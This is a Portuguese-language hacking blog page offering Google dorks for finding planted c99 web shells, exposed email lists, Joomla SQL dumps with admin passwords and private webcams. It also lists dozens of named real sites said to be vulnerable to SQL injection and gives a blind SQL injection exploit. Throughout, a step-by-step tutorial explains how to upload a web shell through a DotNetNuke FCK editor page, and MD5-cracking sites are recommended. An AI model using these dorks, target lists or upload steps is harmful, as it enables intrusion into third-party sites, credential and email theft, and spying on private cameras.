SCANNER SQLI ONLINE - GOOGLE INURL BRASIL

   Scanner SQLI Google INURL Brasil, utilizando dork simples resultados imediatos sem riscos de virus e   100% gratuito.
uso indevido responsabilidade do usuario todo conteúdo com fins de estudo.

Dork hacking para busca de c99

Para os espertinho que adoram um c99 safe off aé vai uma pequena lista de dork.

  safe-mode: off (not secure) drwxrwxrwx c99shell
  inurl:c99.php
  inurl:c99.php uid=0(root)
  root c99.php
  "Captain Crunch Security Team" inurl:c99
  download c99.php
  download c99.php
  download c99.php
  inurl:c99.php
  inurl:c99.php
  allinurl: c99.php
  inurl:c99.php
  allinurl: c99.php
  inurl:"/c99.php"
  allinurl: c99.php
  inurl:c99.php
  inurl:"c99.php" c99shell
   inurl:c99.php uid=0(root)
   c99shell powered by admin
   c99shell powered by admin
  inurl:"/c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  c99 shell v.1.0 (roots)
  inurl:c99.php
  allintitle: "c99shell"
  inurl:"c99.php
  inurl:"c99.php
  allinurl: "c99.php"
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  intitle:C99Shell v. 1.0 pre-release +uname
  allinurl: "c99.php"
  inurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:"c99.php" c99shell
  inurl:c99.php
  inurl:"c99.php"
  allinurl:c99.php
  inurl:"/c99.php
  inurl:c99.php?
  inurl:/c99.php+uname
  allinurl:"c99.php"
  allinurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  allinurl:c99.php
  allinurl:c99.php?
  allinurl:c99.php?
  allinurl:c99.php?
  "inurl:c99..php"
  allinurl:c99.php
   c99shell [file on secure ok ]?
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
   powered by Captain Crunch Security Team
  allinurl:c99.php
  "c99.php" filetype:php
  allinurl:c99.php
  inurl:c99.php
  allinurl:.c99.php
  "inurl:c99.php"
  c99. PHP-code Feedback Self remove
  allinurl:c99.php
  download c99.php
  allinurl:c99.php
  inurl:c99.php
  allinurl: "c99.php"
  allinurl:c99.php
  allinurl:c99.php
  c99shell
  inurl:c99.php
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  allinurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  safe-mode: off (not secure) drwxrwxrwx c99shell
  inurl:/c99.php
  inurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  c99.php download
   inurl:c99.php
  inurl:"c99.php"
  inurl:/c99.php
  inurl:"c99.php?"
  inurl:c99.php
  inurl:c99.php
  files/c99.php
  c99shell filetype:php -echo
  c99shell powered by admin
  inurl:c99.php
  inurl:c99.php
  inurl:"c99.php"
  inurl:c99.php uid=0(root)
  allinurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  inurl:"/c99.php" intitle:"C99shell"
  inurl:"/c99.php" intitle:"C99shell"
  inurl:"/c99.php" intitle:"C99shell"
  C99Shell v. 1.0 pre-release build #5
  inurl:c99.php
  inurl:c99.php
  --[ c99shell v. 1.0 pre-release build #16
  c99shell linux infong
  c99shell linux infong
  C99Shell v. 1.0 pre-release build
  !C99Shell v. 1.0 beta!
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  !c99shell v. 1+Safe-mode: OFF (not secure)
  "C99Shell v. 1.0 pre-release build "
  intitle:c99shell +filetype:php
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  "Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  intitle:!C99Shell v. 1.0 pre-release build #16! root
  !C99Shell v. 1.0 pre-release build #5!
  inurl:"c99.php"
  C99Shell v. 1.0 pre-release build #16!
  c99shell v. 1.0 pre-release build #16
  intitle:c99shell intext:uname
  allintext:C99Shell v. 1.0 pre-release build #12
  c99shell v. 1.0 pre-release build #16
  --[ c99shell v. 1.0 pre-release build #15 | Powered by ]--
  allinurl: "c99.php"
  allinurl: "c99.php"
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  "c99shell v 1.0"
  ftp apache inurl:c99.php
  c99shell+v.+1.0 16
  C99Shell v. 1.0 pre-release build #16 download
  intitle:c99shell "Software: Apache"
  allinurl: c99.php
  allintext: Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove

Logout
  powered by Captain Crunch Security Team
  powered by Captain Crunch Security Team
  !C99Shell v. 1.0 pre-release build #5!
  c99shell v. 1.0 release security
  c99shell v. 1.0 pre-release build
  inurl:c99.php
  c99shell [file on secure ok ]?
  C99Shell v. 1.3
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php uid=0(root)
   powered by Captain Crunch Security Team
  C99Shell v. 1.0 pre-release build #16
  c99shell[on file]ok
  c99shell[file on ]ok
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  "C99Shell v. 1.0 pre"
  =C99Shell v. 1.0 pre-release
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  c99shell v. pre-release build
  inurl:c99.php c99 shell
  inurl:c99.php c99 shell
  powered by Captain Crunch Security Team
  inurl:c99.php
  inurl:c99.php
  !C99Shell v. 1.0 pre-release build #5!
  intitle:"c99shell" filetype:php root
  intitle:"c99shell" Linux infong 2.4
  C99Shell v. 1.0 beta !
  C99Shell v. 1.0 pre-release build #
  inurl:"c99.php"
  allintext:C99Shell v. 1.0 pre-release build #12
  "C99Shell v. 1.0 pre"
  powered by Captain Crunch Security Team
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:/c99.php?
  allinurl:c99.php
  intitle:C99Shell pre-release
  inurl:"c99.php"
  powered by Captain Crunch Security Team
  inurl:c99.php
  C99Shell v. 1.0 pre-release build #16!
  allinurl:c99.php
  C99Shell v. 1.0 pre-release build #16 administrator
  intitle:c99shell filetype:php
  powered by Captain Crunch Security Team
  powered by Captain Crunch Security Team
  C99Shell v. 1.0 pre-release build #12
  c99shell v.1.0
  allinurl:c99.php
  "c99shell v. 1.0 pre-release build"
  inurl:"c99.php" filetype:php
  "c99shell v. 1.0 "
  ok c99.php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
   c99shell v. 1.0 pre-release build #16 |
  !C99Shell v. 1.0 pre-release build #5!
  !C99Shell v. 1.0 pre-release build #5!
  allinurl:/c99.php
  powered by Captain Crunch Security Team
  inurl:c99.php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  powered by Captain Crunch Security Team
  inurl:c99.php
  C99Shell v. 1.0 pre-release
  inurl:c99.php
  inurl:c99.php ext:php
  inurl:"c99.php"
  allinurl:"c99.php"
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  powered by Captain Crunch Security Team
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout"
  C99Shell v. 1.0 pre-release build #16 software apache
   Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  "c99shell v 1.0"
  inurl:"c99.php"
  allintitle: C99shell filetype:php
  C99Shell v. 1.0 pre-release build #16!
  "c99shell v. 1.0 pre-release"
  c99shell v. 1.0 pre-release build #5
  allinurl:"c99.php" filetype:php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  !C99Shell v. 1.0 pre-release build #16!
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  inurl:c99.php
  c99shell v. 1.0
  allinurl: c99.php
   --[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
  inurl:"/c99.php"
  c99shell +uname
  c99shell php + uname
  c99shell php + uname
  --[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
  allinurl:c99.php
  !C99Shell v. 1.0 pre-release build #5!
  C99Shell v.1.0 pre-release
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  intitle:c99shell filetype:php
  "Encoder Tools Proc. FTP brute"
  "c99" filetype:php intext:"Safe-Mode: OFF"
  c99shell v. 1.0 pre
  inurl:c99.php
  intitle:c99shell uname -bbpress
intitle:"index.of" c99.php
  inurl:admin/files/
  intitle:"index of /" "c99.php"
  intitle:"index of" intext:c99.php
  intitle:index.of c99.php
  intitle:"index of" + c99.php
  intitle:index/of file c99.php
  intitle:index/of file c99.php
  index of /admin/files/
  intitle:"Index of/"+c99.php
  c99.php "intitle:Index of "
  c99.php "intitle:Index of "
  c99.php "intitle:Index of "
  intitle:index.of c99.php
  img/c99.php
  intitle:index.of c99.php
   img.c99.php
  intitle:"Index of/"+c99.php
  "index of /" c99.php
  c99.php
  intitle:"Index of" c99.php
  "index of" c99.php
  "Index of/"+c99.php

Programa Scanner de vulnerabilidade em Joomla CMS

JOOMLA SECURITY SCANNER

Aé vai um programa scanner que varre vulnnerabilidades de sites feitos em joomla ,segui o link logo abaixo

BAIXA O SCANNER:

goo.gl/OvNwP

Lista de 5mil sites vull a sql injection

Caros amigos aé vai uma listas de sites vull a SQL injection.

http://www.solutionfocusedtrainers.co.uk/trainers.php?id='4 
http://www.arcdi.com/trainers.php?id='30
http://youronesourcefitness.com/trainers.php?id='30
http://www.emarotta.com/article.php?ID='338
http://www.gesmer.com/publications/article.php?ID='51
http://www.elreloj.com/article.php?id='13798
http://www.bramleybuffs.com/news/article.php?Id='0222 
http://www.limelight-software.com/article.php?id='59 
http://www.bluecusa.com/press/article.php?id='000073 
http://www.arocariaflowers.com/article.php?id='5
http://www.icehw.net/article.php?id='104
http://thebiggreen.net/article.php?id='1089 
http://www.harrisburgu.net/news/article.php?id='416
http://youth.100steps.net/article.php?id='2524
http://www.pornkruba.net/article.php?id='11012&lang='th
http://www.bloomhealth.net/news/article.php?id='48
http://www.yangdentalgroup.net/nl/article.php?id='1512&type='col
http://www.all.org/article.php?id='10130
http://www.saveoureverglades.org/article.php?id='1 
http://www.lam.org/news/article.php?id='305 
http://www.plusline.org/article.php?id='6068
http://www.chayka.org/article.php?id='1164 
http://www.unitedpurpose.org/archive/article.php?id='100 
http://www.latinamericamission.org/news/article.php?id='183
http://www.sharetrails.org/magazine/article.php?id='1002
http://vb-faq.de/article.php?id='96
http://www.wbv-ohp.de/aktuelles/article.php?Id='270
http://www.duesseldorf.feg.de/static/sebalu2/article.php?id='48
http://www.mitmischen.cc/article.php?id='41
http://www.taoba.cc/article.php?id='3
http://agung-saputra.co.cc/article.php?id='1
http://www.clydebankpost.co.uk/article.php?id='12393&sec='1
http://www.website-design-lincolnshire.co.uk/article.php?id='59
http://anadoluofset.info/ana/modules/articles/article.php?id='35
http://www.israel-diaspora.info/article.php?id='853
http://www.scaa.us/article.php?id='1
http://www.eleganthomesinwesttoronto.com/ShowResources.cfm?Pageid='49485&TypeOfPage='2
http://www.communitycontrolcenter.com/index.php?PageID='21
http://www.positivenetworks.com/page.php?pageID='3
http://www.shanks.com/subpage.wwi?pageid='5
http://www.turkey-re.com/system/main.php?pageid='2616&articleid='3687&objectid='10032
http://www.sbp-journal.com/default.aspx?pageid='15
http://www.europe-re.com/system/main.php?objectid='10146&objectopt='news&pageid='2236
http://coherence.oracle.com/pages/viewpage.action?pageId='1343616
http://dama.i4a.com/i4a/pages/index.cfm?pageid='3533
http://www.bingham.com/Page.aspx?PageID='107
http://www.kalonjirecords.com/index.php?pageID='237
http://www.marincyclists.com/Default.aspx?pageId='131074
https://www.positivenetworks.com/page.php?pageID='122
http://www.surfwaxcandle.com/index.cfm?pageid='2
http://www.chefpaul.com/site.php?pageID='285&iteminfo='1&productID='229
http://www.konstmoten.com/pages.asp?PageID='171&MenuID='1134
http://www.lovemarks.com/index.php?pageID='20016&lmvideoid='106
http://www.irrawaddymedia.com/research.php?pageid='2
http://www.arcsoft.com/public/content_page.asp?pageID='470

O restante das vull ao total são umas  5 mil : http://blog.inurl.com.br/p/banco-de-strings_16.html

Capturando lista de email em base csv.

Creia uma Dork para procura de List-mail em bases csv dentro de site,
abaixo segui uma introdução sobre o que é CSV

Comma-separated values (CSV), em português Valores Separados por Vírgula, é um formato de arquivo que armazena dados tabelados, cujo grande uso data da época dos mainframes. Por serem bastante simples, arquivos .csv são comuns em todas as plataformas de computador.

O CSV é um implementação particular de arquivos de texto separados por um delimitador, que usa a vírgula e a quebra de linha para separar os valores. O formato também usa as aspas em campos no qual são usados os caracteres reservados (vírgula e quebra de linha). Essa robustez no formato torna o CSV mais amplo que outros formatos digitais do mesmo segmento.

Especificação

Embora não exista uma especificação formal do formato CSV, o RFC 4180 descreve um formato comum e estabelece text/csv como um tipo MIME registrado na IANA. Formalmente, o CSV é um formato de dados delimitado que possui campos (colunas) separados por caracteres de vírgula e registros (linhas) separados por caracteres de quebra de linha. Campos que contêm caracteres especiais (vírgula, quebra de linha ou aspas) devem ser envolvidos em aspas. Entretanto, se uma linha contiver uma única entrada que seja uma cadeia vazia, ela também pode ser envolvida por aspas. Se um campo contiver um caractere de aspas, ele é discernido posicionando outro caractere igual logo em seguida. O formato CSV não requisita uma codificação de caracteres, uma ordenação de bytes ou um formato de terminador de linha.

Exemplo

1997	Ford	E350	ac, abs, moon	3000.00
1999	Chevy	Venture "Extended Edition"		4900.00
1996	Jeep	Grand Cherokee	MUST SELL! air, moon roof, loaded	4799.00

A tabela acima pode ser ser representada em CSV da seguinte maneira:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""",,4900.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

------------------------------------------------------------------------------------------------------------

Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código de pesquisa:
 +@  +intext:(*mail*) +hotmail +br ext:csv

Busca de webcans online

Fiz essa string para aqueles que gostam de fuçar a vida do próximo  com esse código de busca temos acesso á Aproximadamente 79.900 resultados  (0,31 segundos), em nossa busca exclusão de site que contenham o termo hack,hacker,crack, assim nossa busca fica mais limpa e objetiva.

Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br

Código:
+inurl:/control/userimage.html -blog -hack -hacker -crack

String para buscar proxy uma lista

Proxy é um servidor que atende a requisições repassando os dados do cliente à frente. Um usuário (cliente) conecta-se a um servidor proxy, requisitando algum serviço, como um arquivo, conexão, website, ou outro recurso disponível em outro servidor.

Um servidor proxy pode, opcionalmente, alterar a requisição do cliente ou a resposta do servidor e, algumas vezes, pode disponibilizar este recurso sem nem mesmo se conectar ao servidor especificado. Pode também atuar como um servidor que armazena dados em forma de cache em redes de computadores. São instalados em máquinas com ligações tipicamente superiores às dos clientes e com poder de armazenamento elevado.

Esses servidores têm uma série de usos, como filtrar conteúdo, providenciar anonimato, entre outros.

Um HTTP caching proxy, por exemplo, permite que o cliente requisite um documento na World Wide Web e o proxy procura pelo documento em seu cache. Se encontrado, o documento é retornado imediatamente. Caso contrário, o proxy busca o documento no servidor remoto, entrega-o ao cliente e salva uma cópia no seu cache. Isso permite uma diminuição na latência, já que o servidor proxy, e não o servidor original, é acessado, proporcionando ainda uma redução do uso de banda.

Com isso temos conhecimento da importância de um proxy
criei um dork google pra busca destas listas de proxy disponíveis em sites

String dork

Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br

Código:

+":8080" +":3128" +":80" filetype:txt

Lista de proxy

Dorks para scanner de RFI

Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites, que permite a um atacante para incluir um arquivo remoto normalmente através de um script no servidor web . The vulnerability occurs due to the use of user supplied input without proper validation. A vulnerabilidade ocorre devido ao uso do produto fornecido a entrada do usuário sem a devida validação. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to: Isso pode levar a algo tão mínimo como saída o conteúdo do arquivo, mas dependendo da gravidade, para listar alguns, pode levar a:

• Code execution on the web server A execução de código no servidor web
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS). A execução de código no lado do cliente , tais como o Javascript , que pode levar a outros ataques, tais como "cross site scripting (XSS).
• Denial of Service (DoS) Denial of Service (DoS)
• Data Theft /Manipulation O roubo de dados / Manipulação

Strings de RFI - INJECTION
uma pequena lista dorks 

Quantidade:Aproximadamente 596strings
Autor:Desconhecido
Fonte:goo.gl/5IPJM

Vulnerabilidade em base de email

Vulnerabilidade em base de email com os termos "Mailbase +br txt" temos acesso a base de mail de vários sites com email brasileiros e internacionais no formato txt
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com

Código:

inurl:mailbase +br ext:txt

String google Acessando arquivo .SQL de sites em joomla

Com os termos de pesquisa "+joomla +login +user +admin +pass" o google faz uma varredura atrás dos mesmo, tabelas de usuários;administradores;senhas são nosso alvo principal. geralmente as senhas de users são criptografadas com MD5  , Por isso recomendo alguns sites para descriptografia de senhas.

#Site 01: http://www.md5decrypter.co.uk
#Site 02: http://www.md5-decrypter.com
 

Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+joomla  +login|+user|+admin +pass ext:sql

Lista de Dork para Scanner de vulnerabilidade Joomla

Joomla! (pronuncia-se djumla) é um Sistema de gestão de conteúdos (Content Management System - CMS) desenvolvido a partir do CMS Mambo. É desenvolvido em PHP e pode ser executado no servidor Web Apache ou IIS e base de dados MySQL.
É um projeto de código aberto (licença GNU/GPL) e a sua última versão estável é a 1.5.21 (em 08 de Outubro de 2010); a sua última versão legada é a 1.0.15. O Joomla! é uma ferramenta de CMS muito poderosa, tendo recebido o "Linux Awards".

Lista de Dork para Scanner de vulnerabilidade Joomla
Quantidade:Aproximadamente 61 strings
Autor:Desconhecido
Fonte:Desconhecido

Strings de SQL - INJECTION

Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL, é uma linguagem de pesquisa declarativa para banco de dados relacional (base de dados relacional). Muitas das características originais do SQL foram inspiradas na álgebra relacional.
O SQL foi desenvolvido originalmente no início dos anos 70 nos laboratórios da IBM em San Jose, dentro do projeto System R, que tinha por objetivo demonstrar a viabilidade da implementação do modelo relacional proposto por E. F. Codd. O nome original da linguagem era SEQUEL, acrônimo para "Structured English Query Language" (Linguagem de Consulta Estruturada em Inglês) ^[1], vindo daí o facto de, até hoje, a sigla, em inglês, ser comumente pronunciada "síquel" ao invés de "és-kiú-él", letra a letra. No entanto, em português, a pronúncia mais corrente é a letra a letra: "ésse-quê-éle".
A linguagem SQL é um grande padrão de banco de dados. Isto decorre da sua simplicidade e facilidade de uso. Ela se diferencia de outras linguagens de consulta a banco de dados no sentido em que uma consulta SQL especifica a forma do resultado e não o caminho para chegar a ele. Ela é uma linguagem declarativa em oposição a outras linguagens procedurais. Isto reduz o ciclo de aprendizado daqueles que se iniciam na linguagem.

Strings de SQL - INJECTION
uma pequena lista dorks 

Quantidade:Aproximadamente 127 strings
Autor:Desconhecido
Fonte:Desconhecido 

Ação PHP (viewfaqs.php) Tem Vulnerabilidade a Blind SQL Injection

Vulnerabilidade divulgada Data: 2011/01/21Divulgada pelos grupos: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
 Exploit Code :  
==
[#]Script: PHP auctions
[#]Version: n/a
[#]Link: http://phpauctions.info
==
[#]Author: BorN To K!LL - h4ck3r
==
[#]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[#]3xample:
/viewfaqs.php?cat=2 and substring(version(),1,1)=4 // false ,,
/viewfaqs.php?cat=2 and substring(version(),1,1)=5 // true ,,

Assim temos acesso a versão do DB do site
==
[#]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==

Código de busca google:
inurl:/viewfaqs.php?cat=2

Fonte:goo.gl/I6ayE

Scanneando com strings google e Invadindo site

Com esse tutorial simples é rápido vamos aprender como fazer upload em sites rapidamente e depois ter acesso

Etapa 01 -
Acesse o www.google.com.br

Etapa 02 -
A busca use o código de pesquisa sabiamente.
Procure pelo seguinte termo
Código:
inurl:/tabid/36/language/en-US/Default.aspx

Etapa 03 -
Com a busca efetuada Aproximadamente 582 resultados (0,25 segundos) escolha um site de sua preferencia,
e substitua o termo "/tabid/36/language/en-US/Default.aspx" por,
Código:
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Exemplo:
www.site.com.br/tabid/36/language/en-US/Default.aspx      -01

www.site.com.br/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx -02

Etapa 04 -Você vai ter um link page.So Gallary onde pode criar urls para dentro dos site
Etapa 05 -Não faça nada por enquanto, abordando fase final.
"A caixa e parecida com essa."

Etapa 06 -

Agora substitua a URL na barra de endereços com um simples script
"delete o endereço do site e cole o código abaixo"

Código:

javascript:__doPostBack('ctlURL$cmdUpload','')

"Depois do script inserido na barra de endereços a caixa fica assim"

Etapa 07 -

Você vai encontrar a opção de Upload

Etapa 08 -

Selecione Raiz
  
Etapa 09 -

Envie seu pacote de Seu Shell C99, C100 etc..

OBS: todos esse processos foram feitos para que entenda como funciona
podemos ir deireto á fonte também.
Código:
intext:/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

ou

Código:
*Fck/fcklinkgallery.aspx 

 ou

Código:
intitle:"Link Gallery" +fcklinkgallery ext:aspx

Procurando por vulnerabilidade no sistema de forums Vbulletin

Este resumo não está disponível. Clique aqui para ver a postagem.